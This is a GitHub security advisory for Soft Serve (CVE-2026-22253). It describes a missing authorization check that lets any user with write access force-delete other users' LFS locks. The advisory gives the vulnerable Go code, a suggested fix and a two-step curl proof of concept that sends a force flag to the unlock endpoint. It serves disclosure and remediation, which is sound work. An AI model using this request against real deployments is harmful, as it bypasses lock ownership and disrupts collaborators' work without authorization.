Skip to content

Soft Serve is missing an authorization check in LFS lock deletion

Moderate severity GitHub Reviewed Published Jan 8, 2026 in charmbracelet/soft-serve • Updated Jan 8, 2026

Package

gomod github.com/charmbracelet/soft-serve (Go)

Affected versions

< 0.11.2

Patched versions

0.11.2

Description

LFS Lock Force-Delete Authorization Bypass

Summary

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

Severity

  • CWE-863: Incorrect Authorization
  • CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Affected Code

File: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock

The control flow processes req.Force at line 905 before retrieving user context at line 919:

// Line 905-916: Force delete executes immediately without authorization
if req.Force {
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return  // Returns here, never reaching user validation
}

// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)

Proof of Concept

Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).

  1. User A creates a lock:

    curl -X POST http://localhost:23232/repo.git/info/lfs/locks \
      -H "Authorization: Basic <user_a_token>" \
      -H "Content-Type: application/vnd.git-lfs+json" \
      -d '{"path": "protected-file.bin"}'
  2. User B deletes User A's lock using force flag:

    curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \
      -H "Authorization: Basic <user_b_token>" \
      -H "Content-Type: application/vnd.git-lfs+json" \
      -d '{"force": true}'
  3. Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.

Suggested Fix

Retrieve user context and validate authorization before processing the force flag:

user := proto.UserFromContext(ctx)
if user == nil {
    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
        Message: "unauthorized",
    })
    return
}

if req.Force {
    if !user.IsAdmin() {
        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
            Message: "admin access required for force delete",
        })
        return
    }
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return
}

Impact

Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.

Exploitation Requirements:

  • Authenticated session
  • Write access to target repository

Consequences:

  • Unauthorized deletion of other users' locks
  • Bypass of LFS file coordination mechanisms
  • Potential workflow disruption in collaborative environments

Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

References

@aymanbagabas aymanbagabas published to charmbracelet/soft-serve Jan 8, 2026
Published by the National Vulnerability Database Jan 8, 2026
Published to the GitHub Advisory Database Jan 8, 2026
Reviewed Jan 8, 2026
Last updated Jan 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-22253

GHSA ID

GHSA-6jm8-x3g6-r33j

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.